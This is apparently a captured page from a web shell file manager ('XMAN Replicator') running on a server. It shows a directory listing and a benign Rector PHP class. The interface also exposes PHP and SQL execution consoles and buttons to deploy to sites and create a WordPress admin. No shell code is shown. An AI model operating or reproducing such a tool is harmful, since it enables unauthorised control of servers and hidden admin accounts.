🛸 XMAN Replicator
English
Русский
Français
Quit
Path:
/
opt
/
cpanel
/
ea-wappspector
/
vendor
/
rector
/
rector
/
src
/
ValueObject
/
Bootstrap
/
📋 نشر إلى المواقع
👤 إنشاء مشرف WP
Upload
Make directory
Name
Size
Rights
Date
Actions
[.]
<DIR>
drwxr-xr-x
2024-11-08 13:59
🔄
🗑️
🗑️📁
⬇️
🔒
[..]
<DIR>
drwxr-xr-x
2024-11-08 13:59
🔄
🗑️
🗑️📁
⬇️
🔒
BootstrapConfigs.php
919 B
-rw-r--r--
2024-11-08 13:59
✏️
🔄
🗑️
⬇️
🔒
View: BootstrapConfigs.php
<?php declare (strict_types=1); namespace Rector\ValueObject\Bootstrap; final class BootstrapConfigs { /** * @readonly * @var string|null */ private $mainConfigFile; /** * @var string[] * @readonly */ private $setConfigFiles; /** * @param string[] $setConfigFiles */ public function __construct(?string $mainConfigFile, array $setConfigFiles) { $this->mainConfigFile = $mainConfigFile; $this->setConfigFiles = $setConfigFiles; } public function getMainConfigFile() : ?string { return $this->mainConfigFile; } /** * @return string[] */ public function getConfigFiles() : array { $configFiles = []; if ($this->mainConfigFile !== null) { $configFiles[] = $this->mainConfigFile; } return \array_merge($configFiles, $this->setConfigFiles); } }
PHP Console
Execute
SQL Console
Execute